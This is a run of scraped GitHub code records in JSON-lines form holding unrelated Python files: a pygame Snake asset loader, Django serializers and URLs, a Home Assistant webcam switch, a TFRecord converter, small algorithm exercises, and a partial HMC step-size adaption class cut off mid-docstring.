self.SNAKE_HEAD.set_colorkey((255,255,255))\n\n self.SNAKE_FOOD = pygame.image.load(os.path.join('img','snake_food.png'))\n self.SNAKE_FOOD = pygame.transform.scale(self.SNAKE_FOOD,(30,30))\n self.SNAKE_FOOD.set_colorkey((255,255,255))\n\n self.SNAKE_BODY = pygame.image.load(os.path.join('img','snake_body.png'))\n self.SNAKE_BODY = pygame.transform.scale(self.SNAKE_BODY,(30,30))\n self.SNAKE_BODY.set_colorkey((255,255,255))\n\n ################################-END OF JOINING IMGS-#################################\n\n\n ################################-START PLACNIG RECTS-#################################\n\n self.BUTTON_YES_RECT = self.BUTTON_YES.get_rect()\n self.BUTTON_YES_RECT.topleft = (self.WIDTH*6/10,self.HEIGHT*8/10)\n\n self.BUTTON_NO_RECT = self.BUTTON_NO.get_rect()\n self.BUTTON_NO_RECT.topleft = (self.WIDTH*4/10,self.HEIGHT*8/10)\n\n\n self.BUTTON_EXIT_RECT = self.BUTTON_EXIT.get_rect()\n self.BUTTON_EXIT_RECT.topleft = (self.WIDTH*11/12-self.BUTTON_EXIT_RECT.w/2,self.HEIGHT*11/12-self.BUTTON_EXIT_RECT.h/2)\n\n self.BUTTON_START_RECT = self.BUTTON_START.get_rect()\n self.BUTTON_START_RECT.topleft = (self.WIDTH/2-self.BUTTON_START_RECT.w/2,self.HEIGHT*5/10)\n\n self.BUTTON_DIFFICULTY_RECT = self.BUTTON_DIFFICULTY.get_rect()\n self.BUTTON_DIFFICULTY_RECT.topleft = (self.WIDTH/2-self.BUTTON_DIFFICULTY_RECT.w/2,self.HEIGHT*6/10)\n\n self.BUTTON_SCORE_RECT = self.BUTTON_SCORE.get_rect()\n self.BUTTON_SCORE_RECT.topleft = (self.WIDTH/2-self.BUTTON_SCORE_RECT.w/2,self.HEIGHT*7/10)\n\n self.BUTTON_BACK_RECT = self.BUTTON_BACK.get_rect()\n self.BUTTON_BACK_RECT.topleft = (self.WIDTH/2-self.BUTTON_BACK_RECT.w/2,self.HEIGHT*8/10)\n\n ################# DIFICULTYS BUTTONS ####################################\n\n self.BUTTON_EASY_RECT = self.BUTTON_EASY.get_rect()\n self.BUTTON_EASY_RECT.topleft = (self.WIDTH*1/5+self.BUTTON_EASY_RECT.w/2,self.HEIGHT/2)\n\n self.BUTTON_MEDIUM_RECT = self.BUTTON_MEDIUM.get_rect()\n self.BUTTON_MEDIUM_RECT.topleft = (self.WIDTH*2/5+self.BUTTON_MEDIUM_RECT.w/2,self.HEIGHT/2)\n\n self.BUTTON_HARD_RECT = self.BUTTON_HARD.get_rect()\n self.BUTTON_HARD_RECT.topleft = (self.WIDTH*3/5+self.BUTTON_HARD_RECT.w/2,self.HEIGHT/2)\n\n ############################################################################\n\n self.SNAKE_HEAD = pygame.transform.rotate(self.SNAKE_HEAD,90)\n self.SNAKE_HEAD.set_colorkey((255,255,255))\n\n self.font = pygame.font.SysFont(\"Consolas\",20)\n \n\n self.WINDOW = pygame.display.set_mode((self.WIDTH,self.HEIGHT))\n pygame.display.set_caption(\"Snake Game!\")\n ","repo_name":"Bluefish5/Snake","sub_path":"Snake/Image.py","file_name":"Image.py","file_ext":"py","file_size_in_byte":7650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41886747910","text":"# На вход программе подается натуральное число n,\r\n# а затем n строк.\r\n# Напишите программу, которая создает список из символов всех строк, а затем выводит его.\r\n#\r\n# Формат входных данных\r\n# На вход программе подаются натуральное число n, а затем n строк, каждая на отдельной строке.\r\n#\r\n# Формат выходных данных\r\n# Программа должна вывести список состоящий из символов всех введенных строк.\r\n#\r\n# Примечание. В результирующем списке могут содержаться одинаковые символы.\r\n\r\nn = int(input())\r\nwords_list = []\r\nfor i in range(n):\r\n words_list.extend(input())\r\nprint(words_list)\r\n","repo_name":"Giocatory/PyStudy","sub_path":"Lists_Study/chars_all_strings.py","file_name":"chars_all_strings.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"ru","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"676590820","text":"class LinkNode:\n def __init__(self, data=0, next=None):\n self.data = data\n self.next = next\n\n\n\nclass Solution:\n def printList(self, L):\n while L:\n print(L.data)\n L = L.next\n\n def reversingSublist(self, L, s, f):\n dummy_head = sublist_head = LinkNode(0, L)\n for _ in range(1, s):\n sublist_head = sublist_head.next\n \n ##Reverse sublist\n sublist_iter = sublist_head.next\n for _ in range(f -s):\n temp = sublist_iter.next\n sublist_iter.next, temp.next, sublist_head.next = (temp.next, sublist_head.next, temp)\n return dummy_head.next\n \n\n # def reverseFullList(self, L):\n # self.findTailOfList(L)\n # first, tail = \n\n \n # def findTailOfList(self, L):\n # self.head = None\n # while L:\n # if L.next:\n # self.head = L.next\n # L = L.next \n\n\n## Li --> 2 --> 6 --> 9 --> 4\n## s --> 2, f --> 4\n# \n# output --> 2 --> 4 --> 9 --> 6 \n\n\nlist1 = LinkNode(2)\nlist1.next = LinkNode(6)\nlist1.next.next = LinkNode(9)\nlist1.next.next.next = LinkNode(4)\n\ns = 2\nf = 4\n\n\nans = Solution()\n# L = ans.reversingSublist(list1, s, f)\n# ans.printList(L)\n\n# L = ans.reverseFullList(list1)\n# ans.printList(L)","repo_name":"hghimanshu/CodeForces-problems","sub_path":"LinkedList/reverse_a_single_sublist.py","file_name":"reverse_a_single_sublist.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7425413313","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom torch.utils.data import TensorDataset, DataLoader\n\nfrom .module import Module\n\nDATASET_SIZE = 20000\nNUM_FEATS = 784\nNUM_CLASSES = 2\n\nX = torch.rand(DATASET_SIZE, NUM_FEATS, dtype = torch.float)\ny = torch.randint(NUM_CLASSES, size = (DATASET_SIZE,), dtype = torch.long)\n\nloader = DataLoader(\n TensorDataset(X, y),\n batch_size = 128,\n shuffle = True,\n)\n\nclass TestModel(Module):\n def __init__(self, in_feats, out_feats):\n super().__init__()\n \n self.linear = nn.Linear(in_feats, out_feats)\n \n def forward(self, x):\n x = self.linear(x)\n return F.relu(x)\n \n def fit_step(self, batch):\n x, y = batch\n y_hat = self(x)\n return F.cross_entropy(y_hat, y)\n\ndef test_model():\n model = TestModel(NUM_FEATS, NUM_CLASSES)\n model.fit(loader, epoch = 1)\n\n\ndef test_fit_callback():\n h_list = []\n\n def func(history, epoch):\n h_list.append(history)\n \n model = TestModel(NUM_FEATS, NUM_CLASSES)\n model.fit(loader, epoch = 2, callback = func)\n assert len(h_list) == 2\n\n\nclass TestModel2(TestModel):\n def fit_step(self, batch, loss=None):\n x, y = batch\n y_hat = self(x)\n return loss(y_hat, y)\n\n\ndef test_model_loss():\n model = TestModel2(NUM_FEATS, NUM_CLASSES)\n model.fit(loader, epoch=1, loss=F.cross_entropy)\n","repo_name":"amphibian-dev/toad","sub_path":"toad/nn/module_test.py","file_name":"module_test.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":431,"dataset":"github-code","pt":"75"} +{"seq_id":"20418584065","text":"\"\"\"\nSupport for IP Webcam settings.\n\nFor more details about this platform, please refer to the documentation at\nhttps://home-assistant.io/components/switch.android_ip_webcam/\n\"\"\"\nimport asyncio\n\nfrom homeassistant.components.switch import SwitchDevice\nfrom homeassistant.components.android_ip_webcam import (\n KEY_MAP, ICON_MAP, DATA_IP_WEBCAM, AndroidIPCamEntity, CONF_HOST,\n CONF_NAME, CONF_SWITCHES)\n\nDEPENDENCIES = ['android_ip_webcam']\n\n\n@asyncio.coroutine\ndef async_setup_platform(hass, config, async_add_devices, discovery_info=None):\n \"\"\"Set up the IP Webcam switch platform.\"\"\"\n if discovery_info is None:\n return\n\n host = discovery_info[CONF_HOST]\n name = discovery_info[CONF_NAME]\n switches = discovery_info[CONF_SWITCHES]\n ipcam = hass.data[DATA_IP_WEBCAM][host]\n\n all_switches = []\n\n for setting in switches:\n all_switches.append(IPWebcamSettingsSwitch(name, host, ipcam, setting))\n\n async_add_devices(all_switches, True)\n\n\nclass IPWebcamSettingsSwitch(AndroidIPCamEntity, SwitchDevice):\n \"\"\"An abstract class for an IP Webcam setting.\"\"\"\n\n def __init__(self, name, host, ipcam, setting):\n \"\"\"Initialize the settings switch.\"\"\"\n super().__init__(host, ipcam)\n\n self._setting = setting\n self._mapped_name = KEY_MAP.get(self._setting, self._setting)\n self._name = '{} {}'.format(name, self._mapped_name)\n self._state = False\n\n @property\n def name(self):\n \"\"\"Return the name of the node.\"\"\"\n return self._name\n\n @asyncio.coroutine\n def async_update(self):\n \"\"\"Get the updated status of the switch.\"\"\"\n self._state = bool(self._ipcam.current_settings.get(self._setting))\n\n @property\n def is_on(self):\n \"\"\"Return the boolean response if the node is on.\"\"\"\n return self._state\n\n @asyncio.coroutine\n def async_turn_on(self, **kwargs):\n \"\"\"Turn device on.\"\"\"\n if self._setting == 'torch':\n yield from self._ipcam.torch(activate=True)\n elif self._setting == 'focus':\n yield from self._ipcam.focus(activate=True)\n elif self._setting == 'video_recording':\n yield from self._ipcam.record(record=True)\n else:\n yield from self._ipcam.change_setting(self._setting, True)\n self._state = True\n self.async_schedule_update_ha_state()\n\n @asyncio.coroutine\n def async_turn_off(self, **kwargs):\n \"\"\"Turn device off.\"\"\"\n if self._setting == 'torch':\n yield from self._ipcam.torch(activate=False)\n elif self._setting == 'focus':\n yield from self._ipcam.focus(activate=False)\n elif self._setting == 'video_recording':\n yield from self._ipcam.record(record=False)\n else:\n yield from self._ipcam.change_setting(self._setting, False)\n self._state = False\n self.async_schedule_update_ha_state()\n\n @property\n def icon(self):\n \"\"\"Return the icon for the switch.\"\"\"\n return ICON_MAP.get(self._setting, 'mdi:flash')\n","repo_name":"jest-community/jest-pytest","sub_path":"src/__tests__/integration/home-assistant/homeassistant/components/switch/android_ip_webcam.py","file_name":"android_ip_webcam.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"75"} +{"seq_id":"1667008393","text":"from datetime import datetime\nfrom time import sleep\n\n\ndef timer():\n start = datetime.now()\n\n def inner():\n return datetime.now() - start\n\n return inner\n\n\ntmr = timer()\nprint(tmr())\nprint(tmr())\n\nsleep(2)\nprint(tmr())\n","repo_name":"ervand7/Summary","sub_path":"Python/Decorators/closures/6. timer.py","file_name":"6. timer.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"29673609836","text":"import uuid\n\nfrom rest_framework import serializers\nfrom rest_framework.validators import UniqueTogetherValidator\n\nfrom interface.models import InterfaceJobModel, InterfaceCacheModel, InterfaceModel\nfrom testplan.models import ApiTestPlanModel, CaseTestPlanModel, CaseTestPlanTaskModel, ApiTestPlanTaskModel, \\\n CaseJobModel\nfrom user.models import get_user_by_username\nfrom utils.job_status_enum import CaseTestPlanTaskState, ApiTestPlanTaskState\n\n\nclass ApiTestPlanSerializer(serializers.ModelSerializer):\n running_task_number = serializers.SerializerMethodField()\n create_date_format = serializers.SerializerMethodField()\n user_info = serializers.SerializerMethodField()\n\n class Meta:\n model = ApiTestPlanModel\n exclude = ['create_date', 'update_date']\n extra_kwargs = {'plan_id': {'required': False}, 'description': {'required': False}}\n read_only_fields = [\"id\", \"plan_id\", \"create_date\", \"update_date\", \"create_user\"]\n depth = 1\n validators = [\n UniqueTogetherValidator(\n queryset=ApiTestPlanModel.objects.all(),\n fields=('project_id', 'name'),\n message=\"已经存在相同名称的api测试计划\"\n )\n ]\n\n def get_running_task_number(self, obj):\n return ApiTestPlanTaskModel.objects.filter(test_plan_uid=obj.plan_id).exclude(\n state=ApiTestPlanTaskState.FINISH).count()\n\n def get_create_date_format(self, obj):\n return obj.create_date.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n def get_user_info(self, obj):\n return get_user_by_username(obj.create_user)\n\n def create(self, validated_data):\n validated_data[\"create_user\"] = self.context[\"request\"].user\n validated_data[\"plan_id\"] = uuid.uuid4()\n return ApiTestPlanModel.objects.create(**validated_data)\n\n\nclass CaseTestPlanSerializer(serializers.ModelSerializer):\n running_task_number = serializers.SerializerMethodField()\n create_date_format = serializers.SerializerMethodField()\n user_info = serializers.SerializerMethodField()\n\n class Meta:\n model = CaseTestPlanModel\n exclude = ['update_date', 'create_date']\n read_only_fields = [\"id\", \"plan_id\", \"create_date\", \"update_date\"]\n extra_kwargs = {\n \"create_user\": {'required': False},\n 'plan_id': {'required': False},\n 'description': {'required': False}\n }\n depth = 1\n validators = [\n UniqueTogetherValidator(\n queryset=CaseTestPlanModel.objects.all(),\n fields=('project_id', 'name'),\n message=\"已经存在相同名称的case测试计划\"\n )\n ]\n\n def get_running_task_number(self, obj):\n return CaseTestPlanTaskModel.objects.filter(test_plan_uid=obj.plan_id).exclude(\n state=CaseTestPlanTaskState.FINISH).count()\n\n def get_create_date_format(self, obj):\n return obj.create_date.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n def get_user_info(self, obj):\n return get_user_by_username(obj.create_user)\n\n def create(self, validated_data):\n validated_data[\"create_user\"] = self.context[\"request\"].user\n testplan_uid = uuid.uuid4()\n validated_data[\"plan_id\"] = testplan_uid\n validated_data[\"crontab\"] = validated_data.get(\"crontab\").replace('?', '*') if validated_data.get(\n \"crontab\") else validated_data.get(\"crontab\")\n return CaseTestPlanModel.objects.create(**validated_data)\n\n\nclass CaseTaskSerializer(serializers.ModelSerializer):\n create_date = serializers.SerializerMethodField()\n\n class Meta:\n model = CaseTestPlanTaskModel\n fields = \"__all__\"\n depth = 1\n\n def get_create_date(self, obj):\n return obj.create_date.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n\nclass CaseJobSerializer(serializers.ModelSerializer):\n class Meta:\n model = CaseJobModel\n exclude = [\"log\", ]\n depth = 1\n\n\nclass InterfaceTaskSerializer(serializers.ModelSerializer):\n create_date = serializers.SerializerMethodField()\n\n class Meta:\n model = ApiTestPlanTaskModel\n fields = \"__all__\"\n depth = 1\n\n def get_create_date(self, obj):\n return obj.create_date.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n\nclass InterfaceJobSerializer(serializers.ModelSerializer):\n api_info = serializers.SerializerMethodField()\n\n class Meta:\n model = InterfaceJobModel\n fields = \"__all__\"\n depth = 1\n\n def get_api_info(self, obj):\n if obj.interfaceType == \"CACHE\":\n return InterfaceCacheModel.objects.filter(id=obj.interface_id).values()[0]\n elif obj.interfaceType == \"INSTANCE\":\n return InterfaceModel.objects.filter(id=obj.interface_id).values()[0]\n","repo_name":"nightfall-w/CaseAutoFramework","sub_path":"testplan/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4779,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"5682750766","text":"# 교수님 풀이로 풀어볼거야\nimport sys\nsys.stdin = open(\"input.txt\")\n\nT = 10\n\n\nfor tc in range(1, T+1):\n # 회문의 길이\n s_len = int(input())\n # 문자판\n board = [list(input()) for _ in range(8)]\n # print(board)\n # 회문의 개수\n cnt = 0\n\n for i in range(8):\n for j in range(8-s_len+1):\n # 회문인지 비교할 리스트\n r_check = []\n c_check = []\n for k in range(s_len):\n # 회문의 길이만큼 축적\n r_check.append(board[i][j+k])\n c_check.append(board[j+k][i])\n\n # reverse 하기\n res_check = []\n for idx in range(len(r_check)-1, -1, -1):\n res_check.append(r_check[idx])\n if r_check == res_check:\n cnt += 1\n # print('r', r_check, res_check, i, j)\n # 열탐색전에 reverse 변수 초기화\n res_check = []\n\n for idx in range(len(c_check)-1, -1, -1):\n res_check.append(c_check[idx])\n if c_check == res_check:\n cnt += 1\n # print('c', c_check, res_check, j, i)\n\n print(\"#{} {}\".format(tc, cnt))\n\n","repo_name":"Gyagya00/algorithm","sub_path":"3.string/1215_회문1/sol1.py","file_name":"sol1.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"292794992","text":"from django.conf.urls import url\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.urls import path\n\n\n\nurlpatterns = [\n url(r'^accounts/sign_up', views.SignUp.as_view(), name='sign_up'),\n path('pounds', views.PoundListView.as_view(), name='pounds'),\n path(\"fishes//\", views.fish_details, name='fish_details'),\n url(r'^fishes/$', views.fishes_list, name='fishes'),\n url(r'^pounds/new/$', views.pound_new, name='pound_new'),\n url(r'^review/new/$', views.review_new, name='review_new'),\n # url(r'^reviews/(?P\\d+)/', views.review_show, name='review_show'),\n # url(r'^pounds/(?P\\d+)/', views.pound_show, name='pound_show'),\n path(\"pounds//\", views.pound_show, name='pound_show'),\n path(\"reviews//\", views.review_show, name='review_show'),\n url(r'^$', views.home, name='home'),\n url(r'^test/$', views.bootstrap_test, name='bootstrap_test'),\n url(r'^basic-upload/$', views.BasicUploadView.as_view(), name='basic_upload'),\n path(\"pounds//clearphotos/\", views.pound_images_clear, name='clear_pound_photos'),\n path(\"json/addobjects/\", views.MapRenderView.as_view(), name='add_objects')\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"revalle88/fishing","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28995130042","text":"import sys\nfrom itertools import combinations\nfrom itertools import permutations\nsys.stdin = open(\"input.txt\",'r')\nn = int(input())\nboard = [[int(x) for x in input().split()]for _ in range(n)]\n\narr = list(combinations([int(x) for x in range(n)],n//2))\n\nnow = 100\n\nfor i in range(len(arr)//2):\n # μŠ€νƒ€νŠΈνŒ€\n sp = list(permutations(arr[i],2))\n lp = list(permutations(arr[-i-1],2))\n start = 0\n link = 0\n for j in range(len(sp)):\n start += board[sp[j][0]][sp[j][1]]\n link += board[lp[j][0]][lp[j][1]]\n \n if now > abs(start-link):\n now = abs(start-link)\nprint(now)","repo_name":"hoyeonkim795/solving","sub_path":"samsung/스타트와링크.py","file_name":"스타트와링크.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"21025052702","text":"import numpy as np\nimport tensorflow as tf\nfrom sklearn.model_selection import train_test_split\n\nfrom duckieLog.log_util import read_dataset\n\nif __name__ == \"__main__\":\n\n # enter your log file location\n log_name = \"train\"\n log_file = \"../{}.log\".format(log_name)\n split_size = 0.8\n\n # enter your output file location\n train_output_file = \"../{}_training.tfRecord\".format(log_name)\n valid_output_file = \"../{}_validation.tfRecord\".format(log_name)\n\n print(\"Loading dataset... This is gonna take a while...\")\n obs, pred, anomaly = read_dataset(\n log_file\n )\n print(\"Dataset loaded... Converting to TFRecord...\")\n\n train_writer = tf.io.TFRecordWriter(train_output_file)\n valid_writer = tf.io.TFRecordWriter(valid_output_file)\n\n # Train Test Split\n (\n observation_train,\n observation_valid,\n prediction_train,\n prediction_valid,\n anomaly_train,\n anomaly_valid\n\n ) = train_test_split(\n obs, pred, anomaly, test_size=1 - split_size, shuffle=False\n )\n\n for an_observation, an_action, an_anomaly in zip(observation_train, prediction_train, anomaly_train):\n observation_bytes = np.reshape(an_observation, -1).tobytes()\n anomaly_bytes = np.reshape(an_anomaly, -1).tobytes()\n action_bytes = np.reshape(an_action, -1).tobytes()\n\n example = tf.train.Example(features=tf.train.Features(feature={\n \"observation\": tf.train.Feature(bytes_list=tf.train.BytesList(value=[observation_bytes])),\n \"action\": tf.train.Feature(bytes_list=tf.train.BytesList(value=[action_bytes])),\n \"anomaly\": tf.train.Feature(bytes_list=tf.train.BytesList(value=[anomaly_bytes])),\n }\n ))\n train_writer.write(example.SerializeToString())\n train_writer.close()\n\n for an_observation, an_action, an_anomaly in zip(observation_valid, prediction_valid, anomaly_valid):\n observation_bytes = np.reshape(an_observation, -1).tobytes()\n anomaly_bytes = np.reshape(an_anomaly, -1).tobytes()\n action_bytes = np.reshape(an_action, -1).tobytes()\n\n example = tf.train.Example(features=tf.train.Features(feature={\n \"observation\": tf.train.Feature(bytes_list=tf.train.BytesList(value=[observation_bytes])),\n \"action\": tf.train.Feature(bytes_list=tf.train.BytesList(value=[action_bytes])),\n \"anomaly\": tf.train.Feature(bytes_list=tf.train.BytesList(value=[anomaly_bytes])),\n }\n ))\n valid_writer.write(example.SerializeToString())\n valid_writer.close()\n","repo_name":"frank-qcd-qk/challenge-aido_LFP-baseline-Conditional-Behavior-Cloning","sub_path":"duckieLog/util/log_to_tfRecord.py","file_name":"log_to_tfRecord.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36369189304","text":"# Task 1\ndef accum(s):\n index = 1\n result = []\n for letter in s:\n letter = letter * index\n letter = letter.capitalize()\n index += 1\n result.append(letter)\n return \"-\".join(result)\n# Task 2\ndef check_concatenated_sum(num, n):\n return n and num % int('1' * n) == 0","repo_name":"IMron3090/FSPR_R-422","sub_path":"Python2.2/Semestr_3/Homework_18/homework_18.py","file_name":"homework_18.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71589875443","text":"import bpy\nfrom bpy.props import *\n\ndef execute_operator(self, context):\n if context.scene.by_tool.auto_adjust:\n bpy.ops.view3d.create_magnets('INVOKE_DEFAULT')\n if context.scene.by_tool.Auto_recalculate_Partials:\n bpy.ops.view3d.calc_partials('INVOKE_DEFAULT')\n\ndef toggle_plane(self, context):\n if context.scene.by_tool.show_grid:\n print(\"SHOWING PLANE\")\n bpy.data.objects['Plane'].hide_viewport = False\n else:\n bpy.data.objects['Plane'].hide_viewport = True\n print(\"HIDING PLANE\")\n\n\nclass BGProperties(bpy.types.PropertyGroup):\n mode_options = [\n (\"Loop\", \"Loop\", '', 'MESH_CIRCLE', 0),\n (\"Saddle\", \"Saddle\", '', 'PANEL_CLOSE', 1),\n (\"Line\", \"Line\", '', 'REMOVE', 2),\n (\"Grid\", \"Grid\", '', 'MESH_GRID', 3),\n (\"Cylinder\", \"Cylinder\", '', 'MESH_CYLINDER', 4),\n (\"Cantilated Dodecahedron\", \"Cantilated Dodecahedron\", '', 'MESH_ICOSPHERE', 5)\n ]\n\n scale_factor: IntProperty(\n name = \"Scale Factor\",\n default = 50,\n min=1,\n max=100,\n description = \"Amount to scale the magnet construction in space.\",\n update=execute_operator\n )\n\n Shape = bpy.props.EnumProperty(\n items=mode_options,\n description=\"Shape of Magnet Construction\",\n default=\"Loop\",\n update=execute_operator\n )\n\n show_grid = bpy.props.BoolProperty(\n name = \"Show Grid\",\n description = \"Whether or not to show the grid background\",\n default = True,\n update=toggle_plane\n )\n\n auto_clear = bpy.props.BoolProperty(\n name = \"Auto-clear\",\n description = \"Whether or not to clear the scene before making a new construction\",\n default = True\n )\n\n auto_adjust = bpy.props.BoolProperty(\n name = \"Auto-adjust\",\n description = \"Whether or not to automatically create new magnets on setting change\",\n default = False\n )\n\n Auto_recalculate_Partials = bpy.props.BoolProperty(\n name = \"Auto-recalculate Partials\",\n description = \"Whether or not to automatically update partials on magnets change\",\n default = False\n )\n\n Order = bpy.props.EnumProperty(\n items=[('Parallel', 'Parallel', '', 0), ('Antiparallel', 'Antiparallel', '', 1)],\n description=\"\",\n default=\"Parallel\",\n update=execute_operator\n )\n\n line_direction = bpy.props.EnumProperty(\n items=[('x', 'x', '', 0), ('y', 'y', '', 1), ('z', 'z', '', 2)],\n description=\"\",\n default=\"x\",\n update=execute_operator\n )\n\n moment_direction = bpy.props.EnumProperty(\n items=[('x', 'x', '', 0), ('y', 'y', '', 1), ('z', 'z', '', 2)],\n description=\"\",\n default=\"x\",\n update=execute_operator\n )\n\n gen_decimate_collapse: FloatProperty(\n name = \"Decimate Collapse\",\n description = \"Collapse ratio for the Decimation modifier\",\n default = 0.2,\n min = 0.0,\n max = 1.0\n )\n num_magnets: IntProperty(\n name = \"Number of Magnets\",\n default = 5,\n min=1,\n max=15,\n description = \"Number of Magnets to create\",\n update=execute_operator\n )","repo_name":"CaseyManning/MagnetSimulation","sub_path":"properties.py","file_name":"properties.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33028709641","text":"import numpy as np\n\n\nclass DualAveragingAdaption(object):\n r\"\"\"\n Dual Averaging method to adaptively tune the step size and mass matrix of a\n Hamiltonian Monte Carlo (HMC) routine (as used e.g. in NUTS).\n\n Implements a Dual Averaging scheme to adapt the step size ``epsilon``, as\n per [1]_ (section 3.2.1 and algorithm 6), and estimates the inverse mass\n matrix using the sample covariance of the accepted parameter, as suggested\n in [2]_. The mass matrix can either be given as a fully dense matrix\n represented as a 2D ndarray, or a diagonal matrix represented as a 1D\n ndarray.\n\n During iteration ``m`` of adaption, the parameter ``epsilon`` is updated\n using the following scheme:\n\n .. math::\n \\bar{H} = (1 - 1/(m + t_0)) \\bar{H} + 1/(m + t_0)(\\delta_t - \\delta)\n \\text{log} \\epsilon = \\mu - \\sqrt{m}/\\gamma \\bar{H}\n\n where $\\delta_t$ is the target acceptence probability set by the user and\n $\\delta$ is the acceptence probability reported by the algorithm (i.e. that\n is provided as an argument to the :meth:`step` method.\n\n The adaption is done using the same windowing method employed by Stan,\n which is done over three or more windows:\n\n - initial window: epsilon is adapted using dual averaging (*no* adaption of\n the mass matrix).\n - base window: epsilon continues to be adapted using dual averaging; this\n adaption completes at the end of this window. The inverse mass matrix is\n adaped at the end of the window by taking the sample covariance of all\n parameter points within this window.\n - terminal window: epsilon is adapted using dual averaging, holding the\n mass matrix constant, and completes at the end of the window.\n\n If the number of warmup steps requested by the user is greater than the sum\n of these three windows, then additional base windows are added, each with a\n size double that of the previous window.\n\n References\n ----------\n .. [1] Hoffman, M. D., & Gelman, A. (2014). The No-U-Turn sampler:\n adaptively setting path lengths in Hamiltonian Monte Carlo.\n Journal of Machine Learning Research, 15(1), 1593-1623.\n\n .. [2] Betancourt, M. (2018). A Conceptual Introduction to Hamiltonian\n Monte Carlo. https://arxiv.org/abs/1701.02434.\n\n Parameters\n ----------\n num_warmup_steps\n ???\n target_accept_prob\n ???\n init_epsilon\n An initial guess for the step size epsilon\n init_inv_mass_matrix\n An initial guess for the inverse adapted mass matrix\n\n \"\"\"\n\n def __init__(self, num_warmup_steps, target_accept_prob,\n init_epsilon, init_inv_mass_matrix):\n # windowing constants (defaults taken from Stan)\n self._initial_window = 75\n self._base_window = 25\n self._terminal_window = 50\n\n # windowing counter\n self._counter = 0\n\n # dual averaging constants (defaults taken from Stan)\n self._gamma = 0.05\n self._t0 = 10.0\n self._kappa = 0.75\n\n # variables for dual averaging\n self._epsilon = init_epsilon # The adapted step size\n self._mass_matrix = None # The adapted mass matrix (set below)\n self._inv_mass_matrix = None # The inverse adapted mass matrix\n self._use_dense_mass_matrix = None\n\n self._mu = np.log(10 * self._epsilon)\n self._log_epsilon_bar = np.log(1)\n self._h_bar = 0.0\n self._adapt_epsilon_counter = 0\n\n self.set_inv_mass_matrix(np.copy(init_inv_mass_matrix))\n self._target_accept_prob = target_accept_prob\n\n minimum_warmup_steps = self._initial_window + self._terminal_window + \\\n self._base_window\n\n if num_warmup_steps < minimum_warmup_steps:\n raise ValueError(\n 'Number of warmup steps less than the minimum value {}'.\n format(minimum_warmup_steps)\n )\n\n self._warmup_steps = num_warmup_steps\n self._next_window = self._initial_window + self._base_window\n self._adapting = True\n\n self.init_sample_covariance(self._base_window)\n self.init_adapt_epsilon(init_epsilon)\n\n def adapt_epsilon(self, accept_prob):\n \"\"\"\n Perform a single step of the dual averaging scheme.\n \"\"\"\n\n if accept_prob > 1:\n accept_prob = 1.0\n\n self._adapt_epsilon_counter += 1\n counter = self._adapt_epsilon_counter\n\n eta = 1.0 / (counter + self._t0)\n\n self._h_bar = (1 - eta) * self._h_bar \\\n + eta * (self._target_accept_prob - accept_prob)\n\n log_epsilon = (\n self._mu - (np.sqrt(counter) / self._gamma) * self._h_bar)\n\n x_eta = counter**(-self._kappa)\n self._log_epsilon_bar = x_eta * log_epsilon + \\\n (1 - x_eta) * self._log_epsilon_bar\n self._epsilon = np.exp(log_epsilon)\n\n def add_parameter_sample(self, sample):\n \"\"\"\n Store the parameter samples to calculate a sample covariance matrix\n later on.\n \"\"\"\n self._samples[:, self._num_samples] = sample\n self._num_samples += 1\n\n def calculate_sample_variance(self):\n \"\"\"\n Return the sample covariance of all the stored samples.\n \"\"\"\n assert self._num_samples == self._samples.shape[1]\n params = self._samples.shape[0]\n samples = self._samples.shape[1]\n\n if self._inv_mass_matrix.ndim == 1:\n sample_covariance = np.var(self._samples, axis=1)\n identity = np.ones(params)\n else:\n sample_covariance = np.cov(self._samples)\n identity = np.eye(params)\n\n # adapt the sample covariance in a similar way to Stan\n return (samples / (samples + 5.0)) * sample_covariance \\\n + 1e-3 * (5.0 / (samples + 5.0)) * identity\n\n def final_epsilon(self):\n \"\"\"\n Perform the final step of the dual averaging scheme.\n \"\"\"\n return np.exp(self._log_epsilon_bar)\n\n def get_epsilon(self):\n \"\"\" return the step size \"\"\"\n return self._epsilon\n\n def get_inv_mass_matrix(self):\n return self._inv_mass_matrix\n\n def get_mass_matrix(self):\n \"\"\" Return the mass matrix. \"\"\"\n return self._mass_matrix\n\n def init_adapt_epsilon(self, epsilon):\n \"\"\"\n Start a new dual averaging adaption for 